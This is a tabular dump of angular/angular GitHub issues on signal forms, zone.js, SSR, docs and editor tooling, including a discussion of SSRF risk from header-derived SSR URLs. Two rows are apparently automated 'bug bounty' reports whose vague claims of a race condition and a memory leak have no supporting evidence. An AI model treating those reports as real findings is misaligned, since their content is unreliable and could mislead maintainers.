### Please prov... [TRUNCATED]",area: forms,2026-02-14T18:29:21Z,2026-02-19T17:11:08Z,10
angular/angular,3939098516,Page Not Found - https://v18.angular.dev/guide/di/creating-and-using-services#,"### Describe the problem that you experienced

When clicking a search result link, I got routed to https://v18.angular.dev/guide/di/creating-and-using-services# which is a Page Not Found.

### Enter the URL of the topic with the problem

https://v18.angular.dev/guide/di/creating-and-using-services#

### Describe what you were looking for in the documentation

I'm looking for information about Angular services.

### Describe the actions that led you to experience the problem

1. Visit https://v18.angular.dev/
2. Type ""Ctrl + K""
3. Type ""services""
4. Click on the search result ""Creating and using services"" Docs.
Expect:
Page loads
Actual:
Page Not Found

### Describe what you want to experience that would fix the problem

Creating and using service page loads successfully

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true
Page Not Found
```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-02-13T20:39:59Z,2026-02-13T22:43:37Z,2
angular/angular,3937685279,(zone.js) Promise.try is undefined,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

No

### Description

In 2025 the static method [`Promise.try`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/try) recieved wide support in browsers.

ZoneAwarePromise does not implement it.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Uncaught TypeError: Promise.try is not a function
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI       : 21.1.4
Angular           : 21.1.4
Node.js           : 24.13.0
Package Manager   : pnpm 10.29.3
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.1.4            │ ^21.1.4           │
│ @angular/build                    │ 21.1.4            │ ^21.1.4           │
│ @angular/cdk           ... [TRUNCATED]",area: zones,2026-02-13T15:18:43Z,2026-02-17T19:32:51Z,4
angular/angular,3937196243,"Unexpected 100vw image fetch when navigating away from components due to `sizes=""auto""` in Chromium","### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

**Description**

When navigating from a component containing an image with the `sizes=""auto, ...""` attribute to any other route using `routerLink`, Chromium-based browsers re-fetch the image. During this navigation, the browser appears to ignore the previous layout constraints and fetches a version from the `srcset` that matches `100vw` of the page width.

**Example Scenario:**

1. An image is displayed at `20vw` width on a `1000px` wide browser window.
2. The browser correctly fetches a `256px` wide image based on the `srcset`.
3. The user navigates to a different route.
4. The browser unexpectedly fetches a `1080px` wide image, seemingly treating the required size as `100vw`.

This behavior is documented in the attached screenshots and video.

**Current Constraints:**

- This occurs with both native `<img>` tags using `sizes=""auto""` and the `ngOptimizedImage` directive.
- `ngOptimizedImage` [currently prepends](https://github.com/angular/angular/blob/62453330f56dbfb65711692097189e13c528d522/packages/common/src/directives/ng_optimized_image/ng_optimized_image.ts#L500C4-L500C63) `auto` to the `sizes` attribute automatically, with no option to opt out.
- Because of this forced optimization, there is currently no way to prevent these redundant fetches in Chromium while using `ngOptimizedImage` with `sizes` set.

**Proposed Solution:**

I suggest addin... [TRUNCATED]","area: common,common: image directive",2026-02-13T13:29:03Z,2026-03-19T22:21:18Z,5
angular/angular,3936769096,AsyncGenerator should not yield the result of awaited promises in finally block if return is called on it,"### Which @angular/* package(s) are the source of the bug?

zone.js

### Is this a regression?

No

### Description

I'm trying to use code that uses AsyncGenerator functions with angular.
In particular I want to be able to use `.return()` in order to interrupt the execution and move to a `finally` block where we need to do some cleanup.
That cleanup involves a request and so needed to be `await`ed. I was seeing the result of the request come though unexpectedly.
I then was able to produce the cutdown above.

[The same code with zoneless](https://stackblitz.com/edit/stackblitz-starters-bykf8ltx?file=src%2Fmain.ts) works, along with
[in typescript playground](https://www.typescriptlang.org/play/?target=10&jsx=0&module=7#code/GYVwdgxgLglg9mABAEwKYBsCGBPAap9EVAClgFtUAuRMEMgI1QCcAaRANwKOtoeYEpqABSZwyMAM6oAPL0ZMAfIgDeAKESImqKCCZIwqAO6IRYySWJaJcdO1T9EAXiVSoAFRgU4IKMWIPnTVRrWxJOQns2cnt+AG5VAF9VVUwJbEhEUEhYBAAqRAgtTChUAEE0yABxVAMmYrgmfxV1RCgmbGaNDWwYDGQTUXEpADorGztiAEY4lo1MQ0wYKBQMHHwI4gBWAAZttgAmGa7EHr6BsxGx0OIAZiPEBMyYMAJ0DrVj+cXltCw8LhIOz2iAALPdur10P1NvENEkNFodHpEAA2eJJVQQBASZbgWDoAAiCFQThaxFS6Qg1TA1HKlOpzHqTFkdHkCgCCjJsw4BGoAEkSnUoA0AErBEDoKAsviKFqCRACxnCphiiQSqVyZhKAA+5yGMkVQtF4sl0rZSkCHy6WLAIVQw3QcAA5sRwuDEDBgIhiABCcLDZDEhxW46I3RIClVGrDAwAD18-GGUAAFjViHiYITieSKlSavx3fCumHkeFYQ94ilc5lwNB4EgSjimlbXB4vD4-BzEAAOYEAdh29xtOJocDFSLAAGFXk4CkUSnSo7Umf5y8ObPbHS6AOSTRA3RCbVHeycNLTQfjb+5fJaj8fh6fodAx1Dx-xJ1NgdNgfFEgzEMAx20B9XgLSsNGHZZDCWZN7z0R90FnQpUGKMpcwZI1GhmFp13QTdnWIXdQW9ABlZNvChRBGEQ... [TRUNCATED]",,2026-02-13T11:44:57Z,2026-02-13T11:58:37Z,2
angular/angular,3936498017,Signal forms: `focusBoundControl()` loses `this` context for custom controls with `focus()`,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When a custom Signal Forms control defines a `focus()` method, calling `field().focusBoundControl()` invokes that method with a lost `this` context.

If `focus()` reads instance members (for example a `viewChild` signal), it throws at runtime.

```ts
@Component({
  selector: 'custom-control',
  host: {'tabindex': '-1'},
  template: '<input #input />',
})
class CustomControl {
  readonly value = model<string>();
  readonly input = viewChild.required<ElementRef<HTMLInputElement>>('input');

  focus() {
    // Fails when called
    this.input().nativeElement.focus();
  }
}

@Component({
  imports: [FormField, CustomControl],
  template: `<custom-control [formField]=""f"" />`,
})
class TestCmp {
  readonly f = form(signal(''));
}

it('repro', async () => {
  const fixture = TestBed.createComponent(TestCmp);
  await fixture.whenStable();
  // Throws: TypeError: this.input is not a function
  fixture.componentInstance.f().focusBoundControl();
});
```


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
TypeError: this.input is not a function
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0-next.2
Angular           : 21.2.0-next.3
Node.js           : 22.22.0
Package Manager   : npm 10.9.0
Operating System  : darwin... [TRUNCATED]",,2026-02-13T10:33:48Z,2026-02-13T17:37:22Z,2
angular/angular,3933129438,Don't shown me Agin,"
Type: <b>Bug</b>

if i write somthing then autofill that code so i don't want that type

Extension version: 21.1.1
VS Code version: Code 1.109.2 (591199df409fbf59b4b52d5ad4ee0470152a9b31, 2026-02-10T20:18:23.520Z)
OS version: Windows_NT x64 10.0.19045
Modes:

<details>
<summary>System Info</summary>

|Item|Value|
|---|---|
|CPUs|Intel(R) Core(TM) i3-5010U CPU @ 2.10GHz (4 x 2095)|
|GPU Status|2d_canvas: enabled<br>GPU0: VENDOR= 0x8086, DEVICE=0x1616 [Intel(R) HD Graphics 5500], DRIVER_VENDOR=Intel, DRIVER_VERSION=20.19.15.4624 *ACTIVE*<br>GPU1: VENDOR= 0x1414, DEVICE=0x008c [Microsoft Basic Render Driver], DRIVER_VERSION=10.0.19041.5794<br>Machine model name: <br>Machine model version: <br>direct_rendering_display_compositor: disabled_off_ok<br>gpu_compositing: enabled<br>multiple_raster_threads: enabled_on<br>opengl: enabled_on<br>rasterization: enabled<br>raw_draw: disabled_off_ok<br>skia_graphite: disabled_off<br>trees_in_viz: disabled_off<br>video_decode: enabled<br>video_encode: enabled<br>webgl: enabled<br>webgl2: enabled<br>webgpu: enabled<br>webnn: disabled_off|
|Load (avg)|undefined|
|Memory (System)|3.92GB (0.78GB free)|
|Process Argv|--crash-reporter-id 45d9d123-4b35-45ac-9408-06b55b3d5e0f|
|Screen Reader|no|
|VM|0%|
</details><details>
<summary>A/B Experiments</summary>

```
vsliv368:30146709
binariesv615:30325510
nativeloc1:31344060
dwcopilot:31170013
dwoutputs:31242946
copilot_t_ci:31333650
e5gg6876:31282496
pythonrdcb7:31342333
6518g693:31436602
aj953862:31281... [TRUNCATED]",,2026-02-12T17:42:13Z,2026-02-12T18:05:02Z,1
angular/angular,3928101299,API docs sometimes shows ‘any` instead of union type.,"### Describe the problem that you experienced

In some cases in the API docs `any` is used instead of the proper union.

Example: https://angular.dev/api/ssr/node/AngularNodeAppEngine

```ts
class AngularNodeAppEngine {
  handle(request: any, requestContext?: unknown): Promise<Response | null> 
}
```

Original DTS file from where the types are being extracted: https://app.unpkg.com/@angular/ssr@21.1.4/files/types/node.d.ts



",area: docs-infra,2026-02-11T18:47:41Z,2026-02-11T21:58:00Z,1
angular/angular,3927398465,Expose ChangeDetectionSchedulerImpl for subclassing,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

`ChangeDetectionSchedulerImpl` is a great implementation of handling all of the various kinds of `NotificationSource`, and so it is convenient to use, but it also schedules change detection, which is something that, in certain scenarios, we would like to handle ourselves.



### Proposed solution

Change `ChangeDetectionSchedulerImpl` so that `notify` is basically implemented like this:
```typescript
public notify(source: NotificationSource) {
    this.setExternalDirtyFlags(source);
    if (this.shouldScheduleTick()) {
        this.scheduleTick();
    }
}
```
Where `setExternalDirtyFlags`, `shouldScheduleTick`, and `scheduleTick` would all be `protected` methods.
Additionally,  export `ChangeDetectionSchedulerImpl` as a public symbol, so that it can be sub-classed by user implementations.

This would allow us, in tests (for example), to use our own scheduler while still getting the standard dirty flags set, so that we don't need to deal with rogue `setTimeout`s being started (which is a condition that our test framework will fail a test for).  It would also prevent any source of non-determinism in our tests from change detection running at a time other than when the test asked for it to run.

### Alternatives considered

One alternative I tried was re-implementing `ChangeDetectionSchedulerImpl` ourselves, but it depends on other parts of Angular that are also not exported.

An... [TRUNCATED]","area: testing,area: core",2026-02-11T16:12:32Z,2026-02-12T19:52:44Z,14
angular/angular,3926265397,CSS @keyframes animations not running in production builds,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Some @keyframes animations declared in CSS are not making it to production code. When inspecting elements the missing animation's name remains unchanged, while those animations that are working have been obfuscated as one would expect.

### Please provide a link to a minimal reproduction of the bug

https://github.com/binarybro/ng21-bug-css-animation-missing-in-prod

### Please provide the exception or error you saw

```true
no exceptions thrown.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.3
Angular           : 21.1.3
Node.js           : 22.19.0
Package Manager   : npm 10.9.3
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.3            │ ^21.1.3           │
│ @angular/cli              │ 21.1.3            │ ^21.1.3           │
│ @angular/common           │ 21.1.3            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.3            │ ^21.1.0           │
│ @angular/compiler-cli     │ 21.1.3            │ ^21.1.0           │
│ @angular/core             │ 21.1.3            │ ^21.1.0           │
│ @angular/forms            │ 21.1.3           ... [TRUNCATED]",area: core,2026-02-11T12:23:45Z,2026-02-11T16:20:33Z,2
angular/angular,3923984962,"`Route.canActivate` is effectively `any[]` due to `DeprecatedGuard = any`, allowing invalid guards and causing runtime failures","### Which @angular/* package(s) are relevant/related to the feature request?

router

### Description

The router’s `Route.canActivate` type is currently defined as:

```ts
canActivate?: (CanActivateFn | DeprecatedGuard)[];
```

Because `DeprecatedGuard` is an alias for `any`, this widens the entire union and causes
`canActivate` to be inferred as:

```ts
any[] | undefined
```

As a result, TypeScript no longer enforces guard correctness. Invalid route
configurations compile successfully but fail at runtime with confusing errors.

---

## Expected behavior

TypeScript should report errors for invalid `canActivate` entries, such as:

---

## Actual behavior

Invalid guard configurations compile without error and instead fail at runtime
with DI errors or unexpected `TypeError`s.

---

## Reproduction A (minimal)

```ts
const routes: Routes = [
  {
    path: 'test',
    canActivate: ['hi'],
  },
];
```

Navigate to `/test`.

### Runtime error

```
NullInjectorError
```

Angular attempts to resolve `'hi'` as a provider token.

---

## Reproduction B (realistic example: guard factory)

```ts
const permissionGuardFactory = (permissions: Permission[]): CanActivateFn => {
  // Let's pretend the permissionService expects a sorted list for the sake of example
  const sortedPermissions = permissions.sort();

  return () => permissionService.hasPermission(validPermissions);
};

const routes: Routes = [
  {
    path: 'test',
    // Compiles, but is not a CanActivateFn
    canActivate: [pe... [TRUNCATED]",,2026-02-10T23:18:44Z,2026-02-10T23:34:05Z,2
angular/angular,3922504751,SSR examples/templates derive SSR URL from Host / forwarded headers; add guidance + safer default patte,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

Im opening this issue because I have gone through the proper channels and have not received a satisfactory answer. I believe this is a real issue that should be taken seriously by the angular team. I would like to receive feedback about the finding before the report is closed.

### Description

### Summary
Some Angular SSR example/scaffolding patterns construct the SSR request URL using `req.headers.host` (and in common deployments may also involve forwarded headers). If applications then perform *relative* SSR `HttpClient` calls during render, those calls can be resolved against an attacker-influenced origin if the deployment trusts unvalidated header values.

This issue requests documentation / scaffolding changes so apps do not inherit an unsafe default.

### Why this matters
`Host` and `X-Forwarded-*` headers are not inherently trustworthy inputs. When used to construct a base URL for SSR routing and request resolution, they can steer server-side outbound requests in apps that do relative data fetching during SSR.

### Code references (in-repo)
- `angular/integration/platform-server/projects/ngmodule/server.ts`:
  - Constructs `url: \`${protocol}://${headers.host}${originalUrl}\``
- `angular/packages/platform-server/src/location.ts`:
  - `ServerPlatformLocation` consumes `INITIAL_CONFIG.url` and populates `protocol/hostname/port/...` from it.
- `ang... [TRUNCATED]","security,area: server",2026-02-10T16:50:33Z,2026-02-10T18:03:58Z,2
angular/angular,3921657645,Signals Forms: add a way to trigger the validation manually,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

With the Reactive Forms API, we are able to trigger the validation with `updateValueAndValidity`.

Some custom validator (especially async ones) are not idempotent: they might be false due to some third party actions between the reactive validation and the form submission.

Currently we have no way to trigger the validation manually.

### Proposed solution

Having a dedicated function exposed on `FieldState`.

### Alternatives considered

No idea","area: forms,forms: signals",2026-02-10T14:05:06Z,2026-03-19T22:22:15Z,4
angular/angular,3919951793,FEATURE: support 'args' parameter for `ValidationError` Signal Forms,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

In *Reactive and Template Forms* validators return also information about so called 'args', that are information about some additional data that could be used to render validation error. For example for min validator you would obtain current and required value
```ts
{
   ""min"": 10,
   ""current"": 5,
}
```

These values you can use when creating message, which is especially useful when using something like `@ngx-translate` and you want to have one message template which is parametrized for example
```ts
""Minimal allowed value is {{min}}""
```

### Proposed solution

It would be awesome if we have same possibility in *Signal Forms*. It can be achieved by extending `ValidationError` interface with new property `args?: Record<string, any>` which allows us to pass down additional values, or even validator function itself to fill it with some predefined values like for `min()` validation function it would fill `minValue` to this `args`.

### Alternatives considered

Currently its achievable by complicated passing values down to template using some property on component. ",,2026-02-10T07:46:02Z,2026-02-10T12:33:11Z,4
angular/angular,3919771814,FEATURE: enable deconstruction in templates,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Another good feature that would be awesome in templates would be *deconstruction* of arrays and objects.

### Proposed solution

for example

```ts
export interface Person
{
    name: string;
    surname: string;
    age: number;
    address: string;
}

```

```html
@for({name, surname} of persons; track surname)
{
     <div>NAME: {{name}}</div>
     <div>SURNAME: {{surname}}</div>
}
```

or with `let` syntax

```html
@let {name} = person;
```

same with arrays
```html
@let [firstPerson] = persons;
```

### Alternatives considered

Dont know alternatives.",,2026-02-10T06:51:51Z,2026-02-10T10:54:27Z,1
angular/angular,3919516542,Signal form: FormField does not apply min validator on native input if its type is dynamic,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Usually, using a `min` validator (and other similar) in a form schema will apply the `min` attribute on the native HTML element. So that the browser can enforce it. However when the type of the input is dynamic, then those attribute are never applied.

This prevent us from implementing our own component that would wrap an `<input>`, even if the type does not actually change during its lifetime. At the minimum, I would expect to be able to set the `type` attribute dynamically at least one time during construction.

#### Potential fix

This bug occurs because `FormField.elementAcceptsNumericValues` (and similar) are set only once, during construction. And it is never updated when the type attribute might change. I would expect that boolean to a signal of boolean, so that attribute might be applied, or removed, whenever the type changes.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/zbvsy93w-dlzorsky?file=src%2Fmain.ts

### Please provide the exception or error you saw

The first input correctly restrict age to be greater or equal to 18.

The second input incorrectly does not restrict anything, because the type binding: `<input [type]=""myType()"">

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.2
Angular           : 21.1.2
Node.js           : 20.19.1
Pac... [TRUNCATED]","area: forms,forms: signals",2026-02-10T05:25:27Z,2026-04-03T17:18:12Z,3
angular/angular,3913413074,VSCode Angular Language Service incorrectly flags   as an error in Angular 17 + Ionic 7,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

## Description

In an Angular 17 + Ionic 7 (standalone) project, VSCode’s Angular Language Service shows a red underline (error) on the `<img>` tag or its `src` attribute, even though:

- The image exists in `src/assets`
- The path is correct
- The application runs normally
- No build errors occur
- The image displays correctly in the browser

This appears to be a false-positive template type-checking error. The problem occurs only on `<img>`, not on other HTML elements.

---

## What I have tried (none of these suppress the error)

### VSCode settings:
{
  ""angular.suggest.strictTemplates"": true,
  ""angular.templateValidation"": ""basic"",
  ""angular.suppressUnknownElements"": [""img""],
  ""angular.suppressInvalidHtmlAttribute"": [""src""]
}

### Template ignore directives:
<!-- @ts-ignore -->
<img src=""assets/example.png"">

### Angular compiler options:
{
  ""angularCompilerOptions"": {
    ""strictTemplates"": true,
    ""strictDomEventTypes"": false,
    ""strictDomLocalRefTypes"": false
  }
}

None of these have any effect. The red underline remains only on `<img>`.

---

## Steps to reproduce

1. Create a new Ionic Angular project (standalone)
2. Place any image in `src/assets`
3. Add this to any template:
   <img src=""assets/example.png"">
4. VSCode shows a red underline on the `<img>` tag or `src` attribute
5. Run the app:
   ion... [TRUNCATED]",needs reproduction,2026-02-08T19:46:03Z,2026-02-09T20:50:39Z,5
angular/angular,3911533143,Signal Forms: Debounce async validation,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

Overall, I really enjoy working with the new signal forms and the validation API. The simple and efficient usage has already helped me reduce a significant amount of boilerplate code, and validation logic feels much more straightforward compared to previous approaches.

I’m aware that it’s possible to debounce all validators using the `debounce()` function. However, I think it would be beneficial to allow debouncing directly inside `validateAsync()`. This would help reduce unnecessary server calls while still allowing synchronous validators to run without any delay.

### Proposed solution

Since `validateAsync()` is only called once and only its parameters are updated to trigger the factory, it would make sense to allow debouncing of parameter updates. For example, parameter changes could only be emitted if the value remains unchanged for a certain amount of time.

Abstract example for better understanding:

```ts
validateAsync(field, {
    params: ({ value }) => {
      // It could be useful to allow debouncing here,
      // so the value is only emitted once it stays stable
      // for a certain amount of time, limiting async calls.
      return value()
    },
    factory: (params) => {
      return rxResource({
        params,
        stream: ({ params }) => {
            // async call
        }})
    },
    onSuccess: () => null,
    onError: () => null,
```

### Alterna... [TRUNCATED]","area: forms,forms: signals",2026-02-07T23:17:39Z,2026-03-26T11:34:55Z,5
angular/angular,3911190907,Clarify “legacy” terminology for Reactive Forms in Signal Forms migration guide,"### Describe the problem that you experienced

In the migration guide, Reactive Forms are referred to as “legacy”. As far as I know, Reactive Forms are still fully supported and not deprecated.
Could we consider removing or rephrasing the term “legacy” to avoid confusion?

### Enter the URL of the topic with the problem

https://next.angular.dev/guide/forms/signals/migration



 ",area: forms,2026-02-07T20:44:38Z,2026-02-09T20:24:05Z,2
angular/angular,3910695074,Default signal value on initialization,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently when we declare a signal property we initialize it with the value of that type. For example:
```
readonly num = signal(0)
``` 

This works well for scenarios where the type is primitive and we know the initial / default value in advance.

It becomes a little bit ugly when it comes to complex types:
```
// here we either have to initialize a dummy user object
readonly user = signal<User>({...})
// or loosen the type and add undefined
readonly user = signal<User | undefined>(undefined)
```

The former is inconvenient and ugly, the latter is verbose and creates unnecessary visual noise.

### Proposed solution

What if we could declare signals without initial value and it would default to undefined?
```
readonly user = signal<User>();
typeof user === User | undefined
```

It aligns with how inputs and models initialized as well.



### Alternatives considered

-",,2026-02-07T16:43:15Z,2026-02-07T16:49:14Z,2
angular/angular,3910693735,Why suffix-less naming should be opt-in rather than the default,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I know this topic has been discussed a lot, and I’m aware that there was significant pushback during the RFC phase that ultimately didn’t change the outcome. Still I want to make one more attempt to explain why making suffix-less naming the default was imo a mistake.

To do that, I want to differentiate between two groups of developers. This is obviously a simplification, but it’s useful for understanding the impact of this decision.

Group 1 consists of developers who are highly engaged with their code and tools. They actively follow framework changes, read RFCs, experiment with new features, and care deeply about naming and architecture. I’ll refer to them as ""informed developers"".

Group 2 consists of developers who mostly don’t engage at that level. This isn’t meant to be a judgment. Many may be overworked, new to the ecosystem or programming in general, inherited legacy codebases, and some simply don’t have the time/energy or motivation to stay up to date. In my experience the vast majority of developers fall in this group or somewhere in between at least.

Now let’s look at how this change affects each group.

For informed developers, removing suffixes as the default was a bit pointless. These devs understand the trade-offs, know how to configure the framework, and are intentional about naming. Crucially, **they are also exactly the group that would have had no problem o... [TRUNCATED]",,2026-02-07T16:42:19Z,2026-02-11T18:17:54Z,14
angular/angular,3907642726,SSR examples/templates derive SSR URL from Host / forwarded headers; add guidance + safer default patte,"### Which @angular/* package(s) are the source of the bug?

platform-server

### Is this a regression?

No

### Description

### Summary
Some Angular SSR example/scaffolding patterns construct the SSR request URL using `req.headers.host` (and in common deployments may also involve forwarded headers). If applications then perform *relative* SSR `HttpClient` calls during render, those calls can be resolved against an attacker-influenced origin if the deployment trusts unvalidated header values.

This issue requests documentation / scaffolding changes so apps do not inherit an unsafe default.

### Why this matters
`Host` and `X-Forwarded-*` headers are not inherently trustworthy inputs. When used to construct a base URL for SSR routing and request resolution, they can steer server-side outbound requests in apps that do relative data fetching during SSR.

### Code references (in-repo)
- `angular/integration/platform-server/projects/ngmodule/server.ts`:
  - Constructs `url: \`${protocol}://${headers.host}${originalUrl}\``
- `angular/packages/platform-server/src/location.ts`:
  - `ServerPlatformLocation` consumes `INITIAL_CONFIG.url` and populates `protocol/hostname/port/...` from it.
- `angular/packages/platform-server/src/http.ts`:
  - `relativeUrlsTransformerInterceptorFn` rewrites relative request URLs based on `PlatformLocation` (http/https only).

### Additional context
I have a concrete SSRF-style proof-of-concept demonstrating server-side access to internal hosts when an ap... [TRUNCATED]",,2026-02-06T17:01:56Z,2026-02-09T12:59:13Z,7
angular/angular,3905574917,CVE-22610,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

A vulnerability has been detected in Angular version 21.1.2 https://nvd.nist.gov/vuln/detail/CVE-2026-22610 .
Can you tell me which version is planned to fix this vulnerability, or maybe it has already been fixed?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-02-06T08:30:24Z,2026-02-06T10:24:51Z,2
angular/angular,3904296266,`afterEveryRender` does not run after hydration cleanup in zoneless.,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

```
@Component({
  selector: 'app-root',
  imports: [NgIf],
  template: `
    <span *ngIf=""isServer"">This is a SERVER-ONLY content</span>
    <span *ngIf=""!isServer"">This is a CLIENT-ONLY content</span>
  `,
})
export class App {
  isServer = isPlatformServer(inject(PLATFORM_ID));
  elementRef = inject(ElementRef);

  _ = afterEveryRender(() => {
    console.log('App component rendered');
    console.log('Current content:', this.elementRef.nativeElement.innerHTML);
  });
}
```

In this example `afterEveryRender` only fires once, before hydration. 

content: 

```
<span>This is a SERVER-ONLY content</span><!--container--><span>This is a CLIENT-ONLY content</span><!--container-->
```

","area: core,core: hydration",2026-02-06T01:10:54Z,2026-02-13T17:41:12Z,3
angular/angular,3902983295,Numeric input with decimals behaves incorrectly in Signal Forms (locale IT),"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

I’m experiencing an issue with numeric inputs when using the new Signal Forms API in Angular.

The main problem concerns decimal input handling, especially when using a locale where the decimal separator is a comma (e.g. it-IT).

With ReactiveForms, this behavior worked correctly, including support for comma-based decimals and proper cursor positioning.


#### Steps to Reproduce

1. Use an <input type=""number""> bound to a Signal Form control
2. Set the application locale to it-IT
3. Focus the input
4. Type 1,2
5. Press backspace to delete 2

#### Expected Behavior

1. The value should become 1,
2. The cursor should remain after the comma
3. The decimal separator should not be removed automatically

This is how the same scenario behaves when using ReactiveForms.

#### Actual Behavior

- When deleting the 2, the cursor jumps before the 1
- The comma is removed
- The input becomes 1
- The cursor position is reset, making decimal editing very difficult

#### Why this is a problem

This makes it nearly impossible to comfortably edit decimal numbers in locales that use , as the decimal separator.
It’s a regression compared to ReactiveForms and affects usability for non–en-US users.

#### Environment

Angular version: 21.1.2
Signal Forms
Browser: Chrome
Locale: it-IT

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz... [TRUNCATED]",,2026-02-05T18:39:05Z,2026-02-05T19:06:46Z,2
angular/angular,3902624917,[Medium] Race Condition in angular,"## Bug Report

**Type**: Race Condition
**Severity**: Medium
**File**: src/angular.js:189

### Description
并发访问共享变量时缺乏适当的同步机制。

### Impact
可能导致数据不一致。

### Proposed Fix
使用适当的并发控制。

---
Automated Bug Report - 2026-02-05 17:06:56
Bug Bounty Request
",,2026-02-05T17:06:57Z,2026-02-05T17:15:54Z,1
angular/angular,3902624742,[High] Memory Leak in angular,"## Bug Report

**Type**: Memory Leak
**Severity**: High
**File**: src/angular.ts:234

### Description
发现资源连接未正确关闭，可能导致内存泄漏。

### Impact
- 长期运行内存占用持续增长
- 可能导致服务崩溃

### Proposed Fix
使用try-finally确保资源释放。

---
Automated Bug Report - 2026-02-05 17:06:53
Bug Bounty Request
",,2026-02-05T17:06:54Z,2026-02-05T17:15:51Z,1
angular/angular,3902100003,Angular Language Service: Ctrl+Click on component tag goes to lib.dom.d.ts when attribute value contains single quotes,"### Which @angular/* package(s) are the source of the bug?

language-service

### Is this a regression?

No

### Description

I’m seeing inconsistent “Go to Definition” behavior in Angular templates in VS Code on Windows.

When I Ctrl+Click a custom component tag (e.g. <psl-multi-select>), it usually navigates to the Angular component .ts file as expected. However, in a specific template, adding an attribute value that contains single quotes inside double quotes causes Ctrl+Click on the tag name to navigate to a preview of:

…\node_modules\typescript\lib\lib.dom.d.ts

**Example**
This navigates correctly (Ctrl+Click on psl-multi-select opens the component TS):
`<psl-multi-select pslPlaceholder=""Try typing""></psl-multi-select>`
This breaks navigation (Ctrl+Click opens lib.dom.d.ts instead):
`<psl-multi-select pslPlaceholder=""Try typing 'option'""></psl-multi-select>`
Workaround: using HTML entities avoids the issue:
`<psl-multi-select pslPlaceholder=""Try typing &apos;option&apos;""></psl-multi-select>`

**Expected**
Ctrl+Click on <psl-multi-select> navigates to the Angular component definition (e.g. MultiSelectComponent).

**Actual**
Ctrl+Click navigates to DOM typings (lib.dom.d.ts) as if the element is treated like an unknown HTML element.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
OS: W... [TRUNCATED]",needs reproduction,2026-02-05T15:13:56Z,2026-02-10T12:05:47Z,3
angular/angular,3901049104,"VSCode extension listens to file changes in node_modules, causing too many active listeners","### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

I recently ran into the issue, that I was unable to start dev servers anymore, due to `Error: ENOSPC: System limit for number of file watchers reached, watch '...'`.

While investigating the issue using `strace -f -e inotify_add_watch code 2>&1`, I noticed that extremely many file watches are registered on boot of VSCode. With the help of Gemini, I've traced this further down using an eBPF script:

```bash
sudo bpftrace -e '                             
/* 1. Catch specific inotify calls with clamped path reading */
tracepoint:syscalls:sys_enter_inotify_add_watch {
    // Clamp the string read to 64 bytes to stay within verifier limits
    $path = str(args->pathname, 64); 
    
    if (strcontains($path, ""node_modules"")) {
        printf(""\n[WATCH] PID: %d (%s) -> %s\n"", pid, comm, $path);
    }
}

/* 2. Catch process executions with their arguments */
tracepoint:syscalls:sys_enter_execve {
    printf(""[EXEC] PID: %d | PPID: %d | CMD: "", pid, curtask->real_parent->pid);
    join(args->argv);
}'
```

(clamping the path to 64 was enough for me, you may need to increase the limit.

By filtering an ungodly amount of logs, I did find those three very suspicious logs:

```
[EXEC] PID: 212280 | PPID: 211648 | CMD: /usr/share/code/code /home/shayden/.vscode/extensions/nrwl.angular-console-18.85.2/nxls/main.js --node-ipc --clien... [TRUNCATED]",,2026-02-05T11:19:30Z,2026-02-05T14:44:41Z,5
